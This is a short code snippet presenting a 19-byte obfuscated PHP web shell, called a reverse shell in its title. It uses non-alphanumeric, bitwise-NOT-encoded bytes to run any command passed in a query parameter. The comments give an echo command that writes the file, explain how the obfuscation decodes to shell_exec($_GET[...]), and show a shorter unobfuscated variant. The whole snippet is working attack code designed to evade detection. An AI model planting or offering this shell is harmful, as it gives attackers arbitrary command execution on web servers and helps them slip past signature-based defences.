The shortest non-alphanumeric reverse shell script (19 bytes)

rev_shell.php

<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;

/*
 *   In terminal:
 *       $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
 *   This is how the code will be produced, \xa0\xb8\xba\xab will be 
 *   treated as constant therefore no " needed. It is also not copyable
 *   string because of non-ascii characters
 *
 *   Explanation:
 *      - ~"\xa0\xb8\xba\xab" <-> "_GET"
 *      - ${"_GET"}["\xa0"] <-> $_GET["\xa0"]
 *      - `{$_GET["\xa0"]}` <-> shell_exec($_GET["\xa0"])
 *
 *   This is only 3 bytes longer than the shortest PHP reverse shell! 
 *   <?=`{$_GET[_]}`;
 *   
 *   This is a slightly improved idea that I had 2 years ago
